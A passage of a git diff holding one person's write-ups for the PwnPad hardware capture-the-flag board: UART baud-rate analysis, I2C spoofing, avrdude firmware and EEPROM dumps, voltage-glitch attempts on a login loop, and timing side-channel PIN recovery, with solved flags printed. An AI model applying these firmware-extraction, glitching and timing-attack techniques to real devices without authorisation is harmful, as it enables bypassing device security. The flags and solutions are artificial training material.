+
+
+
+Use the pulse on an input pin of the curious bolt as a trigger to cause the glitch.\
+Made easier with the Glitch-o-Bolt config: [07_GoB_config.py](docs/07_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/08.md b/08.md
new file mode 100644
index 0000000..ce1324d
--- /dev/null
+++ b/08.md
@@ -0,0 +1,25 @@
+# **Challenge 8: "Glitch Storm"**
+
+Building on the success of the **Power Trip** challenge, you are once again faced with the same challenge. The goal remains the same, **trigger a voltage glitch to enter a hidden code path and retrieve the flag**.
+
+However, the catch this time is that the glitch trigger is no longer the obvious SDA pin. You must **discover the new trigger pin and timing** to successfully glitch the device.
+
+**Your mission is clear:**
+
+1. **Analyze the device to identify the new glitch trigger.**
+2. **Precisely time and inject the voltage glitch at the discovered trigger.**
+3. **Access the hidden code block and extract the flag over UART.**
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous one. After probing around to find what was giving a clock-esque signal (it was pretty obvious) I checked with the logic analyzer:
+
+
+
+Created a similar Glitch-o-Bolt config: [08_GoB_config.py](docs/08_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/09.md b/09.md
new file mode 100644
index 0000000..7fe1fa2
--- /dev/null
+++ b/09.md
@@ -0,0 +1,64 @@
+# **Challenge 9: "Clock Spy"**
+
+You’ve uncovered a high-security vault guarded by a keypad that requires a 5-digit PIN. When the PIN is entered and the OK button pressed, the system checks the password internally.
+
+Your task is to perform a **timing side-channel attack** to recover the PIN as quickly and efficiently as possible. But beware — the PIN **changes every time the device reboots**, adding an extra layer of complexity to your attack.
+
+> **Disclaimer:**
+> Normally, side-channel attacks require expensive equipment such as oscilloscopes and specialized tooling like a ChipWhisperer. However, we have intentionally added specific delays so these attacks can be performed using a **very affordable logic analyzer**.
+
+**Your mission is clear:**
+
+1. **Observe and measure timing variations** during the PIN verification process.
+2. **Use side-channel analysis techniques** to deduce each digit of the PIN.
+3. **Recover the correct 5-digit PIN before the device resets.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+I decided to add some header pins from the resistors and buttons for easier debugging:
+
+
+
+The LED flashed once the first incorrect pin was found, there was a small delay between each pin check, thereby we could dissern each pin one after the other. e.g.:
+
+|pin attempt|time|notes|
+|---|---|---|
+|1111|005ms||
+|2222|**010ms**|"2" must be correct as took longest|
+|3333|050ms||
+|2111|**015ms**|"21" took longest of 2nd digit choices|
+|2222|010ms||
+|2333|010ms||
+
+... and so on until the code is worked out.
+
+I hooked up the logic aanalyser to the ok button and the LED. The LED on the lower trace:
+
+
+
+So I didnt have to push the buttons manually (because that would have been a disaster) I wired up the arduino to the buttons and LED and created an arduino sketch to ineract with input and output pins and time when pins go high/low: [arduino code](docs/09_arduino.ino)
+
+I also created a python class to talk to the arduino: [arduinIO](docs/arduinIO.py)
+
+This was all tied together with of course, a glitch-o-bolt config: [glitch-o-bolt config](docs/09_GoB_config.py)
+
+With the logic analyzer still hooked up it was possible to see the delay buy usign the timing markers on the start of the button press and the start of the LED turning off:
+
+
+
+This demonstrates the time between ".", "-" and " " (symbolized as "\*") for identifying the first character
+
+
+
+The second char
+
+
+
+And of course the glitch-o-bolt solution:
+
+
\ No newline at end of file
diff --git a/10.md b/10.md
new file mode 100644
index 0000000..6ca199c
--- /dev/null
+++ b/10.md
@@ -0,0 +1,22 @@
+# **Challenge 10: "Tempo Leak"**
+
+This challenge builds on the mechanics of **Clock Spy**, but with a twist. The device now uses a **4-digit PIN**, and the password verification is only triggered **after all four digits have been entered**.
+
+Your goal remains a **timing side-channel attack** to recover the PIN. The change in input handling means you’ll need to adjust your analysis techniques accordingly.
+
+**Your mission is clear:**
+
+1. **Capture and analyze timing data** during the full 4-digit PIN entry.
+2. **Leverage timing variations** to deduce the complete PIN.
+3. **Recover the PIN and bypass the security check.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+This was very similar to the previous one. Minor tweaks to the glitch-o-bolt config: [glitch-o-bolt config](docs/10_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/11.md b/11.md
new file mode 100644
index 0000000..15b5a25
--- /dev/null
+++ b/11.md
@@ -0,0 +1,96 @@
+# **Challenge 11: "Chaos Chain: Glitchgate"**
+
+Welcome to the **Glitchgate** arena, where you get no schematics, no source code, and only the bare device in front of you. Your goal is to break in by chaining multiple hardware attack techniques.
+
+This challenge combines two major hurdles:
+- An **obscure UART baud rate** that you must identify to establish communication.
+- A **fault injection attack** that bypasses the UART login screen, granting unauthorized access.
+
+You’ll need to carefully analyze the device, discover the correct UART settings, and time your glitch precisely to defeat its defenses.
+
+**Your mission is clear:**
+
+1. **Identify the obscure UART baud rate** used by the device.
+2. **Bypass the UART login screen** via a fault injection.
+3. **Gain control of the device and retrieve the flag through the UART interface.**
+
+## Setup
+
+
+
+## Notes
+
+Start much like challenge #2 and analyze the traffic to identify the pulse width:
+
+
+
+**Quick math:**\
+Baud rate = 1 / bit time\
+Bit time = 1 microsecond = 1 × 10⁻⁶ seconds\
+Baud rate = 1 / (1 × 10⁻⁶) = 1 000 000 baud
+
+**Answer:** The UART baud rate is 1 000 000 baud (1 Mbps).
+
+
+lets check that:
+
+
+
+It already has a hardcoded password.\
+It sets a variable to 1 (the correct password variable).\
+You input a string and it will read up until "\r".\
+For each letter of the hardcoded password it will check the corresponding letter of the input string, if it doesnt match then it sets the variable to 0 (password incorrect).\
+Once this has complete it checks the variable and either returns the flag or an error message.\
+That looks as follows:
+
+```
+void blackbox_chain_UART_Glitch_Attack(void){
+ const char password[] = "-redacted-"; // orig 17 chars
+ Serial.begin(900847); // dbeef
+ Serial.println("\nWelcome to my Login Interface!");
+ Serial.println("You managed to identify my UART baudrate, now please login.");
+ Serial.println("[+] Please Provide Your Password:");
+
+ while(1){
+ Serial.flush();
+ if (Serial.available() > 0) {
+ char provided_password[strlen(password)];
+ Serial.readBytesUntil('\n', provided_password, strlen(password));
+ int success = 1;
+ for (int i = 0; i < strlen(password); i++) {
+ if (provided_password[i] != password[i]) {
+ success = 0;
+ break;
+ }
+ }
+
+ if (success == 1) {
+ Serial.println("-redacted flag-");
+ Serial.flush();
+ exit(0);
+ } else {
+ Serial.println("[-] Login FAILED");
+ Serial.println("[+] Please Provide Your Password:");
+ }
+ }
+ }
+}
+```
+
+It seems like there are a few potential glitch places:
+
+`if (success == 1) {` - have to get crazy lucky to glitch this comparison or glitch the variable “success” to be 1!
+
+`Serial.println("[-] Login FAILED");` - could glitch the pointer to the string and it echos another memory location (hopefully the flag) - insanely unlikley
+
+`for (int i = 0; i < strlen(password); i++) {` - if could glitch the loop so skips over it entirely and “success” would stay 1
+
+Of course I wrote a glitch-o-bolt script to brute-force this: [glitch-o-bolt config](docs/11_GoB_config.py)
+
+The watchdog is there because sometimes it glitched into a state that caused it to stop responding, if it doesnt respond for 2 seconds then the watchdog will restart the device (with a long glitch).
+
+I didnt get it to bypass the check or echo the flag. I think given enough time it will, theres got to be a better way of doing this?
+
+It did echo the previous challenges flag a lot (I guess it was in the memory, or at an address where one bit flip pointed to or somesuch)
+
+
\ No newline at end of file
diff --git a/12.md b/12.md
new file mode 100644
index 0000000..1bf3787
--- /dev/null
+++ b/12.md
@@ -0,0 +1,87 @@
+# **Challenge 12: "Chaos Chain: Timebomb"**
+
+In this final Black Box CTF challenge, the device steps up the difficulty:
+- The **UART pins have been relocated**, so you must manually identify the correct pins.
+- The UART communication runs at a **non-common baud rate**, adding an extra layer of complexity.
+- After establishing communication, you must perform a **timing side-channel attack** to extract the secret.
+
+Only the most persistent and observant hackers will succeed.
+
+**Your mission is clear:**
+
+1. **Identify the relocated UART pins** through careful probing.
+2. **Determine the obscure UART baud rate** used by the device.
+3. **Perform a timing side-channel attack** to retrieve the hidden flag via UART.
+
+## Setup
+
+
+
+## Notes
+
+The first step was probing around until I found the correct UART pins, once I did, I then hooked up some clips to the logic analyzer:
+
+
+
+This gave the following:
+
+
+
+I then traced the chip pins to the header pins on the board and hooked up the board to look like the setup picture above.
+
+Maths that pulse width:\
+Baud rate = 1 / bit time\
+Bit time = 833.75 microseconds = 833.75 × 10⁻⁶ seconds\
+Baud rate = 1 / (833.75 × 10⁻⁶) = 1 199.1004 baud
+
+**Answer:** The UART baud rate is approximately 1 199 baud.
+
+For this one I didnt use glitch-o-bolt, instead opting for a standalone python script: [12_solution.py](docs/12_solution.py)\
+The full solution output can be read here: [12_solution.txt](docs/12_solution.txt)
+
+But to summarize:
+
+```
+[INFO] Analysing position 6/8
+[RESULT] Candidate '0' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1010.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1009.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1013.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1010.00 ms
+[INFO] Position 6 selected: '2' (avg 1021.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 253152 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 7/8
+[RESULT] Candidate '0' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '3' average LOW-delay: 0.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1019.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1023.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1032.00 ms
+[INFO] Position 7 selected: '9' (avg 1032.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 2531529 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 8/8
+[RESULT] Candidate '0' average LOW-delay: 1031.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1030.00 ms
+[SUCCESS] Device accepted code via UART: TS{D0n7_M355_w17h_t1m3} -> 25315294
+[SUCCESS] Discovered PIN: 25315294
+[INFO] Connections closed
+```
\ No newline at end of file
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..3a25cd4
--- /dev/null
+++ b/README.md
@@ -0,0 +1,33 @@
+12Sec CTF - PwnPad v1.0
+===============
+
+This is where I am storing my documentation and solutions for the PwnPad CTF.
+
+>**There are spoilers here, if you dont want to read spoilers/solutions/flags then turn away now**
+>
+> You have been warned.
+>
+> **THIS REPO CONTAINS SPOILERS**
+
+That being said the solutions I have come up with may not be the intended solution, but they are what worked for me.
+
+## Status
+
+|done|#|Name|Topics|Description|
+|---|---|---|---|---|
+|[x]|[01](01.md)|Serial Snitch|`#UART`|Intercept and decode UART communication.|
+|[x]|[02](02.md)|Echo Chamber|`#UART`|Intercept and decode UART communication, with security through obscurity.|
+|[x]|[03](03.md)|Bus Whisperer|`#I2C`|Spy on I2C traffic to extract secrets.|
+|[x]|[04](04.md)|Invisible Wires|`#I2C`|Attack I2C when slave devices are missing.|
+|[x]|[05](05.md)|Code Heist|`#SPI` `#ISP` `#Flash` `#UART`|Dump and analyze firmware from flash.|
+|[x]|[06](06.md)|Hard Leak|`#SPI` `#ISP` `#EEPROM`|Extract data from the internal EEPROM.|
+|[x]|[07](07.md)|Power Trip|`#FaultInjection` `#UART`|Use glitching to bypass dead code statements.|
+|[x]|[08](08.md)|Glitch Storm|`#FaultInjection` `#UART`|Use glitching to bypass password verification.|
+|[x]|[09](09.md)|Clock Spy|`#SideChannel` `#UART`|Leak secrets using timing variations.|
+|[x]|[10](10.md)|Tempo Leak|`#SideChannel` `#UART`|Leak secrets using timing variations with a twist.|
+|[ ]|[11](11.md)|Chaos Chain: Glitchgate|`#FaultInjection` `#UART` |Combine UART and glitch attacks to break in.|
+|[x]|[12](12.md)|Chaos Chain: Timebomb|`#UART` `#SideChannel`|Combine UART and chain timing leaks to break in.|
+
+## The Board
+
+
\ No newline at end of file
diff --git a/docs/01_GoB.png b/docs/01_GoB.png
new file mode 100644
index 0000000..323ad56
--- /dev/null
+++ b/docs/01_GoB.png
Binary files differ
diff --git a/docs/01_GoB_config.py b/docs/01_GoB_config.py
new file mode 100644
index 0000000..19bd20d
--- /dev/null
+++ b/docs/01_GoB_config.py
@@ -0,0 +1,50 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+UART_NEWLINE = ""
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['1', False, "", 'one'],
+ ['2', False, "", 'two'],
+ ['3', False, "", 'three'],
+]
+
+######
+# Custom functions
+######
+
+# Toggle states for each function
+toggle_state_one = 0
+toggle_state_two = 0
+toggle_state_three = 0
+
+def one():
+ global toggle_state_one
+ functions.send_uart_message("1")
+ functions.send_uart_message(str(toggle_state_one))
+ toggle_state_one = 1 - toggle_state_one
+
+def two():
+ global toggle_state_two
+ functions.send_uart_message("2")
+ functions.send_uart_message(str(toggle_state_two))
+ toggle_state_two = 1 - toggle_state_two
+
+def three():
+ global toggle_state_three
+ functions.send_uart_message("3")
+ functions.send_uart_message(str(toggle_state_three))
+ toggle_state_three = 1 - toggle_state_three
+
diff --git a/docs/01_setup.png b/docs/01_setup.png
new file mode 100644
index 0000000..2620b36
--- /dev/null
+++ b/docs/01_setup.png
Binary files differ
diff --git a/docs/02_GoB.png b/docs/02_GoB.png
new file mode 100644
index 0000000..f39dfc7
--- /dev/null
+++ b/docs/02_GoB.png
Binary files differ
diff --git a/docs/02_GoB_config.py b/docs/02_GoB_config.py
new file mode 100644
index 0000000..2671dec
--- /dev/null
+++ b/docs/02_GoB_config.py
@@ -0,0 +1,7 @@
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 31250
+
diff --git a/docs/02_logic_01.png b/docs/02_logic_01.png
new file mode 100644
index 0000000..a0172e4
--- /dev/null
+++ b/docs/02_logic_01.png
Binary files differ
diff --git a/docs/02_logic_02.png b/docs/02_logic_02.png
new file mode 100644
index 0000000..4fff1fb
--- /dev/null
+++ b/docs/02_logic_02.png
Binary files differ
diff --git a/docs/02_setup.png b/docs/02_setup.png
new file mode 100644
index 0000000..9da2c40
--- /dev/null
+++ b/docs/02_setup.png
Binary files differ
diff --git a/docs/03_logic.png b/docs/03_logic.png
new file mode 100644
index 0000000..82b6351
--- /dev/null
+++ b/docs/03_logic.png
Binary files differ
diff --git a/01.md b/01.md
new file mode 100644
index 0000000..bee686a
--- /dev/null
+++ b/01.md
@@ -0,0 +1,23 @@
+# **Challenge 1: "Serial Snitch"**
+
+As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
+
+Your mission is clear:
+
+1. **Identify the UART pins** you've uncovered during your investigation.
+2. **Determine the correct baud rate** to establish a stable connection.
+3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
+
+## Setup
+
+
+
+## Notes
+
+The baudrate was a standard one, simply connecting the right wires and using the correct baudrate I was able to gain access (and the flag)
+
+Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
+
+It looks as follows:
+
+
\ No newline at end of file
diff --git a/02.md b/02.md
new file mode 100644
index 0000000..4a2fa20
--- /dev/null
+++ b/02.md
@@ -0,0 +1,46 @@
+# **Challenge 2: "Echo Chamber"**
+
+Following the success of your first infiltration, you've intercepted another device from the same syndicate. This one seems almost identical — same pinout, same behavior — but something’s off. Your usual tools can’t make sense of the UART output. It looks like the engineers behind this one were clever enough to **obfuscate communication by using a non-standard baud rate**.
+
+The challenge is a test of patience and precision. You'll need to **analyze the signal itself** to get in.
+
+**Your mission is clear:**
+
+1. **Identify the UART pins** using your probing tools.
+2. **Determine the correct (non-standard) baud rate** via signal analysis.
+3. **Establish a reliable terminal connection** and extract the flag from the interface.
+
+## Setup
+
+
+
+## Notes
+
+I started by running logic to capture the transmissions with the logic analyser
+
+
+
+Some simple math to determine the baud rate from the pulse width: (or ask chatGPT like I did)
+
+Baud rate calculation
+
+**Given:** Bit duration = 32 microseconds = 32 × 10⁻⁶ seconds
+
+**Formula:** Baud rate = 1 / bit duration
+
+**Calculation:** Baud rate = 1 / (32 × 10⁻⁶)\
+Baud rate = 31,250 baud
+
+**Answer:** 31,250 baud
+
+Whip up a quick glitch-o-bolt config: [02_GoB_config.py](docs/02_GoB_config.py)
+
+This results in:
+
+
+
+This could also be checked direcectly in logic:
+
+
+
+(Reading source I know the baud rate is supposed to be 31337)
\ No newline at end of file
diff --git a/03.md b/03.md
new file mode 100644
index 0000000..96d14fd
--- /dev/null
+++ b/03.md
@@ -0,0 +1,25 @@
+# **Challenge 3: "Bus Whisperer"**
+
+Deep inside an abandoned research lab, you’ve discovered a prototype security device. It appears to be communicating with hidden components over an **I2C bus**. The traffic is silent to the untrained eye, but with the right tools, you can eavesdrop on the device's conversations and uncover what it's hiding.
+
+**Your mission is clear:**
+
+1. **Identify the I2C communication lines** used by the device.
+2. **Identify all connected I2C devices** the system is interacting with.
+3. **Retrieve** the hidden message embedded in the communication.
+
+## Setup
+
+
+
+## Notes
+
+Fairly simple. wire up the logic analyser, capture and decode:
+
+
+
+That decodes to:
+
+```
+TS{(h@||eng3_07P_i5_1951556615}
+```
\ No newline at end of file
diff --git a/04.md b/04.md
new file mode 100644
index 0000000..05e1bbd
--- /dev/null
+++ b/04.md
@@ -0,0 +1,33 @@
+# **Challenge 4: "Invisible Wires"**
+
+You’ve infiltrated a secure facility to extract a prototype device believed to hold critical secrets. After ripping the main board from its casing and making your escape, a sudden realization hits (**you left a secondary board behind**), still wired in and powered.
+
+Unexpectedly, the stolen board is trying to communicate with its twin over **I2C**, as if expecting a response. It’s time to turn the tables: tap into the bus, reverse the dialogue, and extract what it’s trying to say.
+
+**Your mission is clear:**
+
+1. **Identify the I2C lines** used for board-to-board communication.
+2. **Reverse engineer the protocol** or expected responses from the second board.
+3. **Emulate or spoof the missing board** to trigger a flag or secret message.
+
+## Setup
+
+
+
+## Notes
+
+Fire up the logic analyzer and see it's lookign for a device with a specific address:
+
+
+
+So I made a small arduino sketch to emulate this: [04_arduino.ino](docs/04_arduino.ino)
+
+The next time I checked the logic analyzer:
+
+
+
+This decodes to:
+
+```
+TS{1_N33D_/\/\y_8u66y}
+```
\ No newline at end of file
diff --git a/05.md b/05.md
new file mode 100644
index 0000000..9440047
--- /dev/null
+++ b/05.md
@@ -0,0 +1,181 @@
+# **Challenge 5: "Code Heist"**
+
+In a high-tech underground bunker, you've stumbled upon a **security keypad** linked to a classified device. The rumors suggest that entering a **hidden password** will unlock a **secret mode**, but there’s a catch—the password isn’t documented anywhere.
+
+However, your investigation reveals that the device’s firmware is stored in the internal **Flash memory**, and there’s a chance that the password is hardcoded within. If you can extract the firmware, you just might be able to pull off the ultimate **code heist**.
+
+**Your mission is clear:**
+
+1. **Dump the firmware** from the internal Flash memory using available debugging or ISP interfaces.
+2. **Analyze the firmware binary** to locate and recover the hardcoded password.
+3. **Use the password on the keypad** to unlock the device’s secret mode and retrieve the flag.
+
+## Setup
+
+
+
+## Notes
+
+I used a seperate arduino with the "Arduino as ISP" sketch loaded and pulled the chip from the PwnPad which was then put in to a second spare arduino. The following was used to confirm that the atmega328p could be read:
+
+```
+$> avrdude -v -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -n
+
+avrdude: Version 7.1
+ Copyright the AVRDUDE authors;
+ see https://github.com/avrdudes/avrdude/blob/main/AUTHORS
+
+ System wide configuration file is /etc/avrdude.conf
+ User configuration file is /root/.avrduderc
+ User configuration file does not exist or is not a regular file, skipping
+
+ Using Port : /dev/ttyACM0
+ Using Programmer : arduino
+ Overriding Baud Rate : 19200
+ AVR Part : ATmega328P
+ Chip Erase delay : 9000 us
+ PAGEL : PD7
+ BS2 : PC2
+ RESET disposition : possible i/o
+ RETRY pulse : SCK
+ Serial program mode : yes
+ Parallel program mode : yes
+ Timeout : 200
+ StabDelay : 100
+ CmdexeDelay : 25
+ SyncLoops : 32
+ PollIndex : 3
+ PollValue : 0x53
+ Memory Detail :
+
+ Block Poll Page Polled
+ Memory Type Alias Mode Delay Size Indx Paged Size Size #Pages MinW MaxW ReadBack
+ ----------- -------- ---- ----- ----- ---- ------ ------ ---- ------ ----- ----- ---------
+ eeprom 65 20 4 0 no 1024 4 0 3600 3600 0xff 0xff
+ flash 65 6 128 0 yes 32768 128 256 4500 4500 0xff 0xff
+ lfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ hfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ efuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ lock 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ signature 0 0 0 0 no 3 1 0 0 0 0x00 0x00
+ calibration 0 0 0 0 no 1 1 0 0 0 0x00 0x00
+
+ Programmer Type : Arduino
+ Description : Arduino for bootloader using STK500 v1 protocol
+ Hardware Version: 2
+ Firmware Version: 1.18
+ Topcard : Unknown
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+
+avrdude done. Thank you.
+```
+
+Then pull the firmware:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U flash:r:flash_dump.bin:r
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading flash memory ...
+
+Reading | ################################################## | 100% 20.92 s
+
+avrdude: writing output file flash_dump.bin
+
+avrdude done. Thank you.
+```
+
+Instead of loading the firmware in ghidra or another reversing tool I simply ran strings against it to find some low hanging fruit:
+
+```
+$> strings flash_dump.bin
+ h>s@
+/_?O/s3'
+IUZO
+E+F+G+i
+/_?Oy
+ h1P
+!P1 A Q V
+#+$+%+y
+G.Q,a,q,
+E.Q,a,q,
+C.Q,C
+d.q,N
+O.Q,a,q,
+&.1,s
+G.Q,
+n.q,N
+/_?OY
+(P1
+.P1
+'*0Q
+?OOO_O
+"P1 9
+N__O$
+N__O
+"P1
+Q,A,
+APP@
+SECRET MODE UNLOCKED: TS{F1rmw@re_S3cret}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
++=========== Welcome To The UART Challenge ===========+
+| You Successfully Identified The Baudrate |
+| You Can Now Control The LEDS |
+| TS{U@rt_15_@w3s0m3} |
++=====================================================+
+SELECT LED (1/2/3) >
+Error Wrong Id !
+SELECT STATUS (0/1) >
+Something Went Wrong!
+TS{N0w_Y0u_@r3_@n_el173_H@(k3r}
+TS{(h@||eng3_07P_i5_
+TS{1_N33D_/\/\y_8u66y}
+I will never tell you my secret !
+TS{Gl1th3s_@r3_Awe50m3_!}
+---------------------
+cnt:
+Hahaha, I changed my trigger go and find it
+TS{0h_n0_y0u_foun6_my_7r1gg3r}
+You will never enter my vault!
+TS{Y0u_3nter36_th3_v@ul7}
+You are no good enough
+TS{D@mn_y0u_@r3_g006}
+Welcome to my Login Interface!
+You managed to identify my UART baudrate, now please login.
+[+] Please Provide Your Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+d3@1bt7*0PqSxc9~^
+25315294
+355fu1_!}
+[-] Login FAILED
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+$N__O
+```
+
+Wow loads of flags! we know that we need to find the morese code as that can be input via UART:
+
+
+
+I wasnt convinced that was the intended way of doing it, so I also pulled the firmware using the headers on the board, that setup looked like:
+
+
\ No newline at end of file
diff --git a/06.md b/06.md
new file mode 100644
index 0000000..a55dd6c
--- /dev/null
+++ b/06.md
@@ -0,0 +1,76 @@
+# **Challenge 6: "Hard Leak"**
+
+You've managed to extract a mysterious device from a corporate blacksite. After digging into the firmware, you realize there's **nothing useful stored in Flash**, but there's one more place secrets like to hide: the **internal EEPROM**.
+
+**Your mission is clear:**
+
+1. **Identify how to access the internal EEPROM** of the device using ISP or other means.
+2. **Recover the hidden flag** from the leaked EEPROM data.
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous challenge. Pull the eeprom instead of the flash:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U eeprom:r:eeprom_dump.hex:i
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading eeprom memory ...
+
+Reading | ################################################## | 100% 4.14 s
+
+avrdude: writing output file eeprom_dump.hex
+
+avrdude done. Thank you.
+```
+
+Echo the file to reads it's contents:
+
+```
+$> cat eeprom_dump.hex
+:2000000054537B33335052304D5F69355F66756E5F217DFFFFFFFFFFFFFFFFFFFFFFFFFFA4
+:20002000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE0
+:20004000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC0
+:20006000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA0
+:20008000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF80
+:2000A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF60
+:2000C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF40
+:2000E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF20
+:20010000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
+:20012000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDF
+:20014000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBF
+:20016000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9F
+:20018000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7F
+:2001A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5F
+:2001C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3F
+:2001E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1F
+:20020000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE
+:20022000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDE
+:20024000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBE
+:20026000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9E
+:20028000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7E
+:2002A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5E
+:2002C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3E
+:2002E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1E
+:20030000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD
+:20032000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDD
+:20034000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBD
+:20036000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9D
+:20038000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7D
